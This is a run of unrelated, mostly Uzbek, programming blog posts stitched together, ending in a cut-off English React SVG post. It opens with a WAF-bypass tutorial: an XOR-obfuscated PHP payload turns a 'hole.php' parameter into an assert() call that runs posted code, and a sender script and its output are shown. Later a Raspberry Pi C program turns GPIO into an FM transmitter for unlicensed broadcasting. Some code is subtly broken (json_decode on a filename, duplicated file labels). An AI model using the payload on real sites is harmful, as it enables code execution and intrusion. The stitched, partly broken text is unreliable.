/hole.php?code=$_=(%27%01%27^%27`%27).(%27%13%27^%27`%27).(%27%13%27^%27`%27).(%27%05%27^%27`%27).(%27%12%27^%27`%27).(%27%14%27^%27`%27);$__=%27_%27.(%27%0D%27^%27]%27).(%27%2F%27^%27`%27).(%27%0E%27^%27]%27).(%27%09%27^%27]%27);$___=$$__;$_($___[_]);
```

```php
<?php

$postdata = http_build_query(
    array(
        '_' => 'sayhello("Toshmat");',
    )
);
$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-Type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context  = stream_context_create($opts);

$result = file_get_contents('http://localhost/hole.php?code=$_=(%27%01%27^%27`%27).(%27%13%27^%27`%27).(%27%13%27^%27`%27).(%27%05%27^%27`%27).(%27%12%27^%27`%27).(%27%14%27^%27`%27);$__=%27_%27.(%27%0D%27^%27]%27).(%27%2F%27^%27`%27).(%27%0E%27^%27]%27).(%27%09%27^%27]%27);$___=$$__;$_($___[_]);', false, $context);

echo strip_tags( html_entity_decode( $result ) );
```

Natija:

```
Notice:  Use of undefined constant _ - assumed '_' in test.php(10) : eval()'d code on line 2
Salom: Toshmat
Warning:  assert(): Assertion "sayhello("Toshmat");" failed in test.php(10) : eval()'d code on line 2
```

## Xulosa

Yuqoridagi uchta usul bu shunchaki sizning kelajakdagi loyihalaringiz himoyasini ta'minlash uchun ko'rsatildi xolos. Sizdan iltimos qilib so'ragan bo'lardimki ushbu o'rgangan bilimlaringizni kimgadir zarar yetkazish maqsadida qo'llamang.

Bunday harakatlar uchun O'zbekiston Respublikasini Jinoyat kodeksining 278-moddasi 5-bandida ham alohida ogohlantirishlar berilgan.

> Kompyuter sabotaji
> O‘zganing kompyuter uskunasini yoki xizmatda
> foydalaniladigan kompyuter uskunasini qasddan ishdan chiqarish, xuddi
> shuningdek kompyuter tizimini buzish (kompyuter sabotaji) — uch
> yilgacha muayyan huquqdan mahrum qilib, bazaviy hisoblash miqdorining
> uch yuz baravaridan to‘rt yuz baravarigacha miqdorda jarima yoki ikki
> yilgacha ozodlikni cheklash yoxud ikki yilgacha ozodlikdan mahrum
> qilish bilan jazolanadi.


Axmoqlar uchun ishlab chiqilgan WAF tizimini chetlab o'tish. Saytlar xavfsizligini turli usullarda yorib kirish...

WAFni yorib kirish ( kiberxavfsizlik )


Dasturiy ta'minot auditoriyasini oshirishning eng yaxshi usullaridan biri bu uning interfeysni ko'p tillar uchun moslay olish hisoblanadi.
Umuman olganda bu jarayon har qanday loyiha boshidan hisobga olib ketilsa siz hech narsa yutqazmaysiz qaytaga ertangi kunda loyihani qo'llab-quvvatlashga yanada foydali hisoblanadi.

## Bu o'zi qanday ishlaydi?

Aslida bu funksional qiymatni ishlab chiqish siz o'zlagandan ko'ra ancha oson hisoblanadi. Faqatgina buning bir necha usullari haqida tushunchaga ega bo'lib olsangiz bas.

## Massivlar

Ko'p tilli interfeysning eng sodda usullaridan biri bu massivlar hisoblanadi. Sizdan massivda kerakli kalitlar bo'yicha qiymatlarni saqlash va ularni kalitga asoslanib foydalanish talab etiladi xolos.
Eng sodda usulda ko'radigan bo'lsak:

```php
<?php
$items = [
    "en" => [
        'hi' => 'Hello world!',
        'godbye' => 'Goodbye world!',
    ],
    "uz" => [
        'hi' => 'Salom dunyo!',
        'godbye' => 'Xayr dunyo!',
    ],
];

$lang = 'uz';
echo $items[ $lang ]['hi'];
```

Yuqoridagi koddan qaraydigan bo'lsak `$items` massivi til kalitlari doirasida kerakli qiymatlar bilan to'ldirilgan. Biz ekranga chop etish jarayonida shunchaki massivdan boshlang'ich til va ekranga chiqarish kerak bo'lgan qiymat kaliti ni belgilab uni stdoutga uzatishimiz kifoya.

Yoki yana bir usulda ko'rsak:

```json
// en.json
{
  "hi": "Hello world!",
  "godbye": "Goodbye world!"
}
```

```json
// en.json
{
  "hi": "Salom dunyo!",
  "godbye": "Xayr dunyo!"
}
```

```php
// print.php
<?php
$lang = 'uz';
$items = json_decode( $lang . '.json', TRUE );
echo $items['hi'];
```

Yuqoridagi usulda biz json faylidan til paketi sifatida foydalaniyapmiz va kerakli massivni shu fayldan qabul qilib olyapmiz.

## po-mo usuli

Wordpress cmsdan foydalangan kishi uchun .po, yoki .mo faylini begona bo'lmasa kerak. Wordpress ushbu fayldan keng foydalanib keladigan dasturiy mahsulotlardan biri hisoblanadi.

PO bu matnga asoslangan portativ obyekt faylidir. Ushbu fayl matn muharririda foydalanuvchi tomonidan o'qiy oladigan formatda saqlanadi.

Dasturlash tillarining ko'pida ushbu formatni qayta ishlash uchun tayyor funksiyalar mavjud yoki uni oddiy math tahrirlash usulida o'zingizga mos shaklga o'tkazish ham muammo emas.

Fayl strukturasiga qaydigan bo'lsak bundan msgid yuqoridagi misoldagi kabi kalit vazifasida msgstr esa qiymat vazifasida keladi. Har bir til esa alohida faylda saqlanadi.

```po
msgid "hi"
msgstr "Salom dunyo"

msgid "godbye"
msgstr "Xayr dunyo"
```

```php
<?php
$lang = 'uz';
$pofile = file_get_contents($lang . '.po');
preg_match_all('/msgid "(.+?)"\nmsgstr "(.+?)"/', $pofile, $matches, PREG_SET_ORDER);

$lang = [];
foreach ($matches as $i) {
    $lang[ $i[ 1 ] ] = $i[ 2 ];
}
```

MO fayl ham xuddi po kabi ishlaydi. Faqatgina u odam o'qiy oladigan emas balkim binary shaklda ma'lumot saqlaydi va qayta ishlash jarayonlari ham turlicha.

## Bonus ( Javascript )

```js
function Language(lang) {
  var __construct = () => {
    if (eval('typeof ' + lang) == 'undefined') lang = 'en'
    return
  }

  this.getStr = (str, defaultStr) => {
    var retStr = eval('eval(lang).' + str)

    if (typeof retStr != 'undefined') {
      return retStr
    } else {
      if (typeof defaultStr != 'undefined') {
        return defaultStr
      } else {
        return str.replace(/_/g, ' ')
      }
    }
  }
}

var uz = {
  hi: 'Salom dunyo!',
  goodbye: 'Xayr dunyo!',
}

var en = {
  hi: 'Hello world!',
  goodbye: 'Goodbye world!',
}

var translator = new Language('uz')
console.log(translator.getStr('hi'))

var translator = new Language('en')
console.log(translator.getStr('goodbye'))

console.log(translator.getStr('undefined_key', 'Default value'))
```

## Bonus ( php )

```
// uz.lng
hi = "Salom dunyo!"
goodbye = "Xayr dunyo!"
```

```
// en.lng
hi = "Hello world!"
goodbye = "Goodbye world!"
```

```php
// parse.php
<?php
class Language{

    private $items;

    function __construct( $lang ) {
        $file = $lang . '.lng';
        $this->items = parse_ini_file( $file );
    }

    public function getStr( $str, $defaultStr = FALSE ) {
        if ( ! empty( $this->items[ $str ] ) ) {
            return $this->items[ $str ];
        }

        if ( ! empty( $defaultStr ) ) {
            return $defaultStr;
        }

        return ucfirst( str_replace('_', " ", $str) );

    }
}

$lang = new Language( 'uz' );
echo $lang->getStr('hi');
echo $lang->getStr('undefined', 'Default value');
```

## Linux bash

```bash
lang="uz"

declare -A uz
uz[hi]="Salom dunyo!"
uz[goodbye]="Xayr dunyo"

declare -A en
en[hi]="Hello world!"
en[goodbye]="Goodbye world"


getStr () {
  typeset -n l=$1
  echo ${l[$2]};
}

getStr $lang "hi"
```


Dasturiy ta'minot auditoriyasini oshirishning eng yaxshi usullaridan biri bu uning interfeysni ko'p tillar uchun moslay olish hisoblanadi...

Multilanguage (ko'ptilli dasturlar) bu qanday ishlaydi?


## RPI haqida yuz gramm

![rpi](https://www.distrelec.de/Web/WebShopImages/landscape_large/9-/01/Raspberry%20Pi-PI4%20MODEL%20B_1GB-30152779-01.jpg)

RPI bank kartasi hajmidagi kompyuter. U dastlab kamchiqim qurilma sifatida informatika fanini o'qitish uchun ishlab chiqilgan. Ammo keyinchalik o'quvchilar qolib robototexniklar orasida keng tarqaldi.

Uning yutug'i shundaki, kichkinagina qurilma sizga 133Mhzdan 1.5Ghz chastotaga ega protsessor, 264kb operativ xotiradan boshlab 8Gbgacha bo'lgan va bemalol 4K grafika bilan ishlay oladigan imkoniyatni yaratib beradi.

Kompyuter o'ziga asos sifatida linuxdan foydalanadi. Lekin u uchun ishlab chiqilgan windows iot, freebsd kabi oslar ham yo'q emas. Bugungi kunda 30ga yaqin keng qamrovdagi linux distrolar raspberryda aktiv ishlay oladi. Ulardan mukammal varianti Debian asosida qurilgan RasPiOS.

## Radio nima?

Sodda qilib aytsak, radio bu elektromagnit to'lqinlarini chiqaradigan yoki ularga javob beradigan qurilma. Eng sodda radio antenna, kirish konturi, demodulator kabi elementlardan tashkil topgan.

Kirish konturi
: Radio antennalariga kelib urilayotgan elektromagnit to'lqinlarni kerakli diapazonga qarab qabul qiluvchi blok.
: Misol: Siz kerakli tv kanal yoki radio eshittirish uchun chastotani sozlash vaqtidagi jarayon aynan shu qismda ta'sir beradi.

Modulator
: Garmonik tebranishlarni sun'iy hosil qilib beruvchi blok. Shu orqali yuqori va past chastotalarni bir-biriga qo'shib uzoq masfaga yuborishni ta'minlaydi.
: Misol: Oddiygina audio bu past chastotali signal. Uni uzoqroq masofaga yuborish uchun unga yuqori chastota qo'shish kerak bo'ladi.

Demodulator
: Kirish konturi tomonidan qabul qilingan to'lqinlarni past va yuqori chastotaga ajratuvchi qism.
: Misol: Buyerda yuqori chastotadan yuqorida modulator tomonidan yuborilgan audioni ajratib olinadi. Audio kuchaytirgichka, yuqori chastotali signal esa shunchaki boshqa bir elektr sig'imiga sarflanib yuboriladi (chunki endi bu keraksiz).

Eng sodda modulator (Tebranishlar generatori) ko'rinishi:

![enter image description here](https://i.ibb.co/f2vFKyp/image.png)

Eng sodda radio ko'rinishi:

![enter image description here](https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Detector_receiver_rus_standart.svg/1200px-Detector_receiver_rus_standart.svg.png)

## Radio xuligan kim?

Radio xuligan bu bugungi kundagi qora xakerlarning bir ko'rinishi. Qora xakerlar buzish bilan shug'ullanishsa radioxuliganlar noqonuniy radio eshittirishlar olib borish bilan shug'ullanishadi. Hozirda bunday shaxslar juda kam. 20-asrning ikkinchi yarmida ya'ni radio erasining rivojlangan davrida bu juda rivojlangan ko'ngilochar bezoriliklardan biri bo'lgan.

## RPIni radioxuliganlar orzusiga qanday aylantiramiz?

Yuqoridagi qisqacha tariflarning o'zidayoq tasavvur qilish mumkinki oddiygina radio uzatgich yasashning o'zi elektronika tomondan juda katta bir muammoga aylanadi. RPI bizga ortiqcha elektron komponentlarni titkilamasdan shunchaki kod yozishni o'zi bilan ushbu ishni amalga oshirishga yordam beradi.

## Bu qanday ishlaydi?

Kundalik turmushdagi deyarli barcha qurilmalar o'zidan elektromagnit to'lqinlar tarqatadi. Odatda ular bizga kerakli diapazonga yetishi yoki undan ortib ketishi ham mumkin. Misol sabbuferda musiqa eshitayotgan vaqtda qo'ng'iroq bo'lib qolishi oqibatidagi chiyillashni ko'pchilik sezgan bo'lsa kerak. Bu ham shunday biz ahamiyat bermaydigan jarayonlardan biri. Kompyuterda ham bunday holat doimiy kuzatiladi.

Raspberry linux yadrosi asosida ishlaydi. Biz esa /dev/mem va mmap yordamida 0x20000000 manziliga periferik shinani virtualizatsiya qilamiz ( _Linuxda /dev/mem asosan periferik qurilmalar bilan bog'liq kiritish va chiqarish xotira manzillariga yo'l sifatida ishlatiladi_ ). Shundan so'ng raspberryda taktotali generator ishga tushib GPIO4 portiga chiqish uchun o'rnatiladi.

## Kodlashtirish

Konstantalarni sozlash:

```c
#define CM_GP0CTL (0x7e101070) // Taktota generatori boshqarish
#define GPFSEL0 (0x7E200000)   // GPIO liniyasi
#define CM_GP0DIV (0x7e101074) // Taktota generatori bo'linmasi
#define GPIO_BASE (0x7E200000)
#define ACCESS(offset, type) (*(volatile type*)(offset+(int)allof7e-0x7e000000)) // Register uchun ruxsat olish
```

Periferik shinani o'rnatish:

```c
void setup_fm(int state) {
    int mem_fd = open("/dev/mem", O_RDWR|O_SYNC);
    if (mem_fd < 0) {
        printf("/dev/mem manzilini ochishda xatolik\n");
        exit(-1);
    }
    allof7e = (unsigned char *)mmap(
                  NULL,
                  0x01000000,
                  PROT_READ|PROT_WRITE,
                  MAP_SHARED,
                  mem_fd,
                  0x20000000
              );

    if (allof7e == (unsigned char *)-1) {
        exit(-1);
    }

    //
    // GPIO 4 ni pulsatsiya qilish uchun sozlash.
    //
    struct GPFSEL0_T {
        char FSEL0 : 3;
        char FSEL1 : 3;
        char FSEL2 : 3;
        char FSEL3 : 3;
        char FSEL4 : 3;
        char FSEL5 : 3;
        char FSEL6 : 3;
        char FSEL7 : 3;
        char FSEL8 : 3;
        char FSEL9 : 3;
        char RESERVED : 2;
    };

    int tmp = ACCESS(GPFSEL0, int);
    tmp = (tmp | (1<<14)) & ~ ((1<<12) | (1<<13));
    ACCESS(GPFSEL0, int) = tmp;

    //
    // Taktota generatori uchun PLLD.
    //
    struct GPCTL {
        char SRC         : 4;
        char ENAB        : 1;
        char KILL        : 1;
        char             : 1;
        char BUSY        : 1;
        char FLIP        : 1;
        char MASH        : 2;
        unsigned int     : 13;
        char PASSWD      : 8;
    };
    ACCESS(CM_GP0CTL, struct GPCTL) = (struct GPCTL) {6, state, 0, 0, 0, state, 0x5a };
}
```

Modulatsiyalash jarayoni sinusi to'g'ri to'rtburchak asosidagi chastota hosil qilish bilan amalga oshirilib davriylik faqat 12 bit aniqligi uchun ishlaydi xolos

```c
void modulate(int period) {
    struct CM_GP0DIV_T {
        unsigned int DIV : 24;
        char PASSWD : 8;
    };
    ACCESS(CM_GP0DIV, struct CM_GP0DIV_T) = (struct CM_GP0DIV_T) { period, 0x5a };
}
```

To'lqinli audioni ( Wav ) modulatsiya jarayoni uchun uzatish:

```c
void delay(int n) {
    volatile static int clock = 0;
    for (int i = 0; i < n; ++i) {
        ++clock;
    }
}

void playWav(char *filename, int mod, float bw) {
    int fp = open(filename, 'r');
    lseek(fp, 22, SEEK_SET);
    short *data = (short *)malloc(1024);
    printf("Efirda: %s\n", filename);
    while (read(fp, data, 1024)) {

        for (int j = 0; j<1024/2; j++) {

            // Modulyatsiya davrini hisoblash
            float dval = (int) floor( (float) ( data[ j ] ) / 65536.0f * bw );

            // Wav shakllarini generatorga uzatish
            modulate(dval+mod);
            delay(6350);
        }
    }
}
```

Umumiy funksiyalarni birlashtirish

```c
int main(int argc, char **argv) {
    signal(SIGTERM, &shutdown_fm);
    signal(SIGINT, &shutdown_fm);
    atexit(&shutdown_fm);

    setup_fm(1);
    float freq = atof(argv[2]);
    float bw;
    int mod = (500/freq)*4096;
    modulate(mod);

    if (argc==3) {
         bw = 25.0;
         printf("Modulyatsiyani sozlash: %f Mhz / %d @ %f\n",freq,mod,bw);
         playWav(argv[1], mod, bw);
    } else if (argc==4) {
         bw = atof(argv[3]);
         printf("Modulyatsiyani sozlash: %f Mhz / %d @ %f\n",freq,mod,bw);
         playWav(argv[1], mod, bw);
    } else {
         fprintf(stderr,
                "Foydalanish: %s audio.wav chastota [to'lqin kuchi]\n\n"
                "Audio fayl talabi: 16 bit 22.050kHz Mono\n"
                "To'lqin kuchi maksimal 25gacha belgilanishi mumkin.",argv[0]);
    }
    return 0;
}
```

Kompiliyatsiya jarayoni:

```bash
gcc -std=c99 -g radio.c -o radio -lm
```

Modulatorni ishga tushirish:

- 100.00 bu uzatish chastotasi
- 25 modulatsiya kuchi

_Eslatma: To'lqin va to'lqin kuchi qanchalik yuqori bo'lsa cpudan shunchalik ko'p resurs talab qilinadi_

```bash
./radio /dev/stdin 100.00 25
```

## Eslatma

Maxsus ruxsatnomasiz radioeshittirishlar qilish, uzoq masofaga elektromagnit to'lqinlar yuborish O'zbekiston Respublikasi qonunchiligida taqiqlangan.

Ushbu maqola faqatgina ta'lim maqsadida yozildi.

## Xulosa

Raspberry PI shunchaki linux distro o'rnatib test qilishdan tashqari juda ko'plab maqsadlar uchun foydali bo'la oladigan qurilma hisoblanadi. Ushbu maqolada birgina RPI va C tilidan foydalanib fm diapazon uchun ishlaydigan radio modulator yasash ko'rsatildi. Agarda siz buni elektron komponentlar bilan termoqchi bo'lsangiz bu juda bosh og'riq jarayon. Oldschool radiotexniklar bundan juda yaxshi xabardor.

Shunday ekan atrofingizdagi qurilmalarni har doim qanday ishlashini kuzatishga o'rganing. Ular ba'zan juda murakkab bo'lsada juda qiziqarli narsalarni o'rgata oladi.


RPI bizga ortiqcha elektron komponentlarsiz radio uzatgich yaratishni amalga oshirishga yordam beradi...

Raspberry PIni radioxuliganlarning orzusiga aylantiramiz


## Texnologiya - bu yechim emas yechimni qanday topish

Dasturlash tillari kundan kunga ko'payib rivojlanib boryapti. Lekin muammo yechimini bunda deb bilmaslik kerak. Dasturlash tillari bu shunchaki muammoni yechishga yordam beruvchi vositalar xolos.

## Aql bu aniqlik dushmani

Kodlashtirish jarayonida har doim kodlarni tushunarli va o'qishga sodda qilib borish kerak. O'z maqsadini aniq ko'rsatadigan kod, qanchalik aqlli bo'lishidan qat'i nazar, noaniq koddan ko'ra qimmatroqdir.

## Kodlarni faqatgina kerakli vaqtda yozing

Hal qilmoqchi bo'lgan muammoni yechimini topish uchun iloji boricha kamroq kod yozishga harakat qilish kerak. Ko'pchilik dasturchilar dasturiy ta'minot kelajagini o'ylab kodlarga turli jimjimador qo'shimchalar kiritib ketishadi. Lekin bu qo'shimcha kod hech qanday qiymat bermasada kelajakda ko'p zarar etkazishi mumkin. Kod qancha ko'p bo'lsa, xatolar ehtimoli ham shuncha oshib boraveradi.  
Yaxshi dasturiy ta'minot muhandislari, agar kerak bo'lmasa, kod yozmaydi. Buyuk dasturchilar esa iloji boricha ko'proq kodni o'chirib tashlaydilar.

## Kodlarga izoh yozish va sharhlash sizga zarar yetkazadi

"Har safar sharh yozganingizda, siz jilmayib, ifoda etish qobiliyatingiz omadsizligini his qilishingiz kerak." (Bob amaki)

Izohlarsiz yozilgan kod sizga tezkor dasturiy mahorat qo'llanmasi bo'lib xizmat qiladi. Yaxshisi be'mani sharhlar yozishga ketadigan vaqtingizni obyektlarni tuzukroq nomlashga sarflang.

## Kod yozishdan oldin nima qilish kerak ekanligini aniqlab oling

Kodlashtirish atrofiya o'ylaganichalik murakkab jarayon emas aslida. Shunchaki kod yozishdan avval aniq maqsadga ega bo'lishni o'zi yetadi. Avvalo muammoni yaxshilab o'rganing, kerakli algoritmni o'ylab xayolan yechimni ko'rganingizda uchun math muharriri oynasiga ko'chirib olish qiyinchilik tug'dirmaydi.

## Har kuni yangi narsalarni o'rganing

Agar siz bugun biron bir yangi narsani o'rganmagan bo'lsangiz, siz faqat orqaga siljish qildingiz, men sizni biror narsani unutganingizga kafolat beraman.

Har kuni olgan bilimlaringiz, qilgan kichik yutuqlaringiz vaqt o'tishi bilan qo'shiladi va kelajagingizni aniq belgilab beradi. Agarda keyinroq mukofot olishdan qo'rqmasangiz, bunga hozirdanoq sarmoya kiritishni boshlashingiz kerak.

## Dasturchi malakasi oshgani sayin uni dasturidan foydalanuvchilar nodonlashib boraveradi

Siz harkuni yangi narsalar o'rganib o'z bilimizgizni oshirib borishingiz mumkin lekin sizning dasturingizdan foydalanuvchilarning barchasi ham bunday emas. Qachonlarding biror bir matematik misolni javobini topish uchun qog'oz va ruchka orqali aqlda izlangan bo'lsa hozirda bu ishni ko'plab dasturlar shunchaki kamera orqali qila oladi. Bu esa o'z navbatida insoniyat aql tomonidan emas balkim texnologiya tomonidangina kuchayib boryatganini akslantiradi.

Unutmang sizning foydalanuvchilaringiz siz kabi o'ylamasligi yoki kompyuyter qurilmasi oldida as bo'lmasligi mumkin. Shu sabab dasturni har doim sodda, odamlar vaqtini olmaydigan va ularga zarar yetkazmaydigan qilib tuzishga harakat qiling.

## Kod yozish daromad topishdan ko'ra qiziqarli jarayon

Mening biznesim dasturiy ta'minotlar ishlab chiqish ortidan lekin buni daromad uchun emas shunchaki o'z ishim va qiziqishim bilan ko'proq shug'ullanish uchun tanlaganman. Tan olib aytaman men o'z sohanimni oilam, o'z yaqinlarim va hayotimdan ham ustun ko'raman.

O'z ishingizni doimo sevishga harakat qiling. Daromad ko'ra olmasangiz ham tunu-kun qilishga tayyor bo'lgan ishingiz bu sizni kelajagingiz hisoblanadi. Agarda sizga kod yozishdan ko'ra odamlarni davolash yoki futbol o'ynash qiziqroq bo'lsa o'z sohangizni almashtirishga hozir ham kech emas. Daromadni har qanday sohada istagancha topish mumkin.


Dasturlash tillari kundan kunga ko'payib rivojlanib boryapti. Lekin muammo yechimini bunda deb bilmaslik kerak. Dasturlash tillari bu shunchaki muammoni yechishga yordam beruvchi vositalar xolos.

Bo'lajak dasturchilar uchun tavsiyalar


Barcha matematik jarayonlar mantiqqa asoslanib ishlab chiqilgan bo'lsada, har ikkisi xilma-xil maqsadlarga ega bo'lgan turlicha vositalardir.

Menga qolsa matematika va mantiq bir-birini to'ldiruvchi qarama-qarshiliklar deb aytgan bo'lar edim. Oddiyroq qilib aytadigan bo'lsam matematika mantiqiy aniqliklarni aniqlaydi.

🔸Matematika raqamli natijalarni aniq beradi, ammo jarayon va natijani intuitiv tushuntirmaydi.

🔹Mantiq jarayon va natija haqida ko'proq tushuncha beradi, lekin odatda miqdoriy natijalarning faqat birinchi darajasinigina baholay oladi xolos.

🔸Matematika faqat raqamlar bilan bog'liq masalalar uchun foydalidir, mantiq barcha masalalar uchun foydalidir va asosan ijodiy fikrlash jarayoni bilan juda yaxshi kelisha oladi.

🔹Mantiq intuitiv yolg'on taxminlar tufayli xatolikga moyil bo'lsa matematikada intuitiv noto'g'ri xulosalar paydo bo'ladi.

🔸Matematik formalizm - bu bosqichma-bosqich qat'iy qadam bo'lib, faqat oldinga siljish mumkin.

🔹Mantiq deduksiya va induksiya jarayonlarini o'z ichiga oladi. Shuning uchun, u jinoiy qidiruv yoki boshqa bir muammolarni bartaraf etish kabi holatlar uchun yaxshi instrument. Bundan tashqari, dastur bosqichlarini ishlab chiqish, raqamli qurilmalar uchun integral mikrosxemaning muhandisligi kabi qismlarda ham yaxshigina qo'l keladi.

🔸Matematikani turli metodlar asosida rivojlantirish va uni qismlarga bo'lib o'rgatish mumkin.

🔹Mantiq uchun aniq bir ta'lim shakli ishlab chiqilmagan. Odatda bu hayotiy tajriba va muhit orqali o'rganiladi.

🔸Muammoni hal qilish uchun qancha matematikani qo'llash kerak bo'lsa, yechim shunchalik murakkablashadi.

🔹Muammoni hal qilishda siz qanchalik mantiqqa amal qilsangiz, shunchalik sodda yechim topasiz.

Birinchi savolga qaytsak. Dasturchi uchun matematikadan ko'ra mantiq ko'proq kerakmi?

Ha albatta. Umuman matematikadan xabarsiz odam dasturchi bo'la oladi. Bugungi kundagi yuqori darajadagi dasturlash tillar inson tilidan farq qilmaydi va buyerda matematik hisoblardan ko'ra mantiq yaxshiroq qo'l keladi.

Dasturchi faqatgina hisoblarni yuritishnigina emas muammo uchun tezkor va muqobil yechim topa olishi ham kerak. Bu esa o'z o'rnida matematikaga emas balkim mantiqqa asoslanadi.


Barcha matematik jarayonlar mantiqqa asoslanib ishlab chiqilgan bo'lsada, har ikkisi xilma-xil maqsadlarga ega bo'lgan turlicha vositalardir.

Dasturchiga matematikadan ko'ra mantiq ko'proq kerakmi?


Siz biror bir dasturlash tilini bilasiz va undagi funksiyalaridan foydalanishdan xabardorsiz. Lekin shunday bo'lishiga qaramasdan biror dastur kodini yozishda qiynalasizmi? Tasavvurni, mantiq orqali kodlar uyumiga ko'chira olmayapsizmi? **Psevdokod yozish** - bu kabi muammolarni hal qilishni boshlashning ajoyib usuli.

Dasturlashdagi asosiy sirlardan biri funksiyalar nomini nuqta verguligacha eslash emas balkim to'g'ri algoritm hisoblanadi. Sizdan muammoga to'g'ri va tez yechim topish bo'lsa bas, o'zingizni kuchli dasturchiman deb hisoblayvering.

#### Ho'sh psevdokod nima?

**Psevdokod** - bu bir alohida "til" va uning yordamida har qanday dasturlash tilida bitta satr yozmasdan o'zingizning kodingizning barcha mantiqlarini ifoda etishingiz mumkin.

#### Nima uchun psevdokoddan foydalanishingiz kerak?

Psevdokoddan foydalanmasdan shunchaki ular ichida adashib qoladigan darajada ulkan loyihalar mavjud. Psevdokodni yozish, yuzaga kelishi mumkin bo'lgan muammolardan oldinroq o'ylashga imkon beradi. Buning yordamida siz o'zingizning kodingizni ishga solishdan tashvishlanmasdan toza mantiq va dasturni bajarish tartibini kuzatishingiz mumkin.

Haqiqiy kodni yozishdan oldin psevdokodni yozish ham loyihalaringizni tezroq bajarishingizga yordam beradi. Siz buni o'zingizning dasturingizning biron bir eskizi deb o'ylashingiz mumkin. Psevdokodni yozish orqali siz allaqachon qaerda bo'lishi kerakligini va qanday qilib birgalikda ishlashi kerakligini bilasiz. Shuning uchun, haqiqiy qurish bosqichini boshlaganingizda, nima qilish kerakligi haqida uzoq vaqt o'ylamasligingiz kerak bo'ladi, chunki siz buni oldindan belgilab qo'ygansiz.

Eng yoqimli narsa, psevdokod hech qanday dasturlash tiliga bog'liq emas. Siz yozgan mantiqni istagan har bir kishi qo'llashi va istalgan tilda amalga oshirishi mumkin. Bu sizga yaratgan ilova arxitekturasini qayta ishlatish va takomillashtirish erkinligini beradi.

Psevdokodning unchalik aniq bo'lmagan xususiyatlaridan biri bu boshqa odamlar bilan bo'lishish qobiliyatidir. Ba'zan sizning qo'lingizda ko'plab mantiqiy loyihalarda ishlatilishi mumkin bo'lgan aniq bir mantiq bor, ammo bu loyihalarning barchasi turli tillarda yozilgan. Psevdokod tufayli siz ushbu mantiqni boshqa dasturchilar bilan baham ko'rishingiz mumkin va ular allaqachon o'zlari xohlagan tilda amalga oshiradilar.

Psevdokodning yana bir ajoyib xususiyati shundaki, uni istalgan formatda yozishingiz mumkin. Akademik formatdan foydalanish mumkin. Bu nihoyatda tizimli va batafsil, lekin juda ko'p matematikani o'z ichiga oladi. Shu bilan bir qatorda, siz o'zingizning kodingizdan nimani kutayotganingizning qisqacha konturini yozishingiz mumkin.

#### Psevdokodni qanday yozish kerak?

Psevdokod yozish uchun yuqorida aytilganidek aniq bir qonun qoida mavjud emas. Uni shunchaki o'zingiz kelajakda tushunishingiz uchun chizmalar yoki boshqa bir tariflar asosida qursangiz bo'laveradi.

**_Oddiygina psevdokod uchun misol:_**

```
if( user\_logged ){
    Foydalanuvchi tizimga kirdi va uni uskunalar paneliga yo'naltirish mumkin
}elseif( attemp > 3 ){
    Foydalanuvchi paneliga kirish uchun keragigan ortiq urinish bo'ldi. Ip asosida vaqtichalik himoyani yoqish
}else{
    Login yoki parol xato ekanligi haqidagi ma'lumotni ekranga chiqarish
}
```

Yuqoridagi kod albatta biror dasturlash tilida ishlamasligi mumkin. Eng asosiysi buyerda psipsipni qoralama qilish.

Haddan tashqari chuqur texnik ma'lumot kerak emas, lekin siz qanchalik batafsil ma'lumotga ega bo'lsangiz, haqiqiy kodni yozish osonroq bo'ladi. Dasturingizning eskizini chizayotganingizni tasavvur qiling. Bu sizga nimaga erishmoqchi ekanligingizni yaxshilab o'ylab, barcha kodlaringiz qanday ishlashini ko'rish imkoniyatini beradi.

#### Psevdokod yozishda e'tibor berish kerak bo'lgan asosiy fikrlar:

- dasturni bajarish mantig'i,
- dasturingizning murakkab qismlari tafsilotlari,
- izchil formatlash.

Aslida psevdokod yozish unchalik qiyin emas. Yozish paytida siz tafsilotlarni qayerga qo'shishni va qayerdan olib ketishni bilishni boshlaysiz. Ushbu "eskiz" birinchi navbatda sizning shaxsiy ehtiyojlaringiz uchun ekanligini unutmang, shuning uchun uni xohlagancha yozing.

Shaxsan men psevdokodni yaxshi ko'raman. Haqiqiy kodni yozish haqida gap ketganda, bu menga aniqroq o'ylashga yordam beradi. Bundan tashqari psevdokoddan tashqari katakchalar asosida chizmalar chizib olishim ham mumkin. Bu yanada kelajakdagi ishimni osonlashtirishga yordam beradi. Dasturingizning barcha mantiqlari allaqachon rejalashtirilgan bo'lsa, ishlash va optimallashtirish bilan tajriba o'tkazish uchun sizga ko'proq vaqt bor. Bundan tashqari, kodlashni chuqurroq o'rganganingizda, miyangizni haddan tashqari oshirishingiz shart emas.

Psevdokod haqida nima deb o'ylaysiz? Vaqtga arziydimi yoki darhol haqiqiy kod yozishni boshlash yaxshiroqmi? O'z fikringizni sharhlarda baham ko'ring!


Psevdo kod (palag'da algoritm) nima va u biz uchun nega kerak?

Shaxsiy kompyuterlarning operatsion tizimlari yaratilish tarixiga nazar solsak, sakkiz razryadli shaxsiy kompyuterlar...

Operatsion tizim nima va u qanday ishlaydi?

I had an idea for caching SVG paths. Not the usual kind of async request caching of remote SVGs, but local re-use of DOM elements that have already rendered.

SVG's [`<use>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/use) element allows re-use of an existing DOM element, without manually duplicating the
node. It works like this:

```html

<svg>
  <circle id="circle" cx="5" r="5" fill="black" />
</svg>


<svg>
  <use href="#circle" />
</svg>


```

## Setup

When using an icon set like [Feather](https://feathericons.com/) in React, I prefer to use a higher-order component (HOC) and a generic `Icon` component to
render each icon with consistent properties. We'll use this HOC to demonstrate SVG caching:

```jsx
import { memo } from 'react'

const withIcon = (icon, opts) => {
  const Icon = (props) => {
    const { size = 24, color = 'currentColor' } = props

    return (
      <svg
        viewBox="0 0 24 24"
        width={size}
        height={size}
        stroke="currentColor"
        style={{
          color,
        }}
        dangerouslySetInnerHTML={{
          __html: icon,
        }}
      />
    )
  }

  return memo(Icon)
}

export default withIcon
```

Each icon is simply the SVG contents wrapped with the HOC:

```jsx
const ArrowLeft = withIcon('<path d="M21 12H3m0 0l6.146-6M3 12l6.146 6" />')
```

## Caching

We'll use React context to add an icon cache. First, create a new context and the appropriate hook to access it:

```jsx
export const IconCache = React.createContext(null)
export const useIconCache = () => React.useContext(IconCache)
```

Setup the provider at the application root. The cache will be a plain, empty object where each key is the icon string and each value is the cached id.

```jsx raw
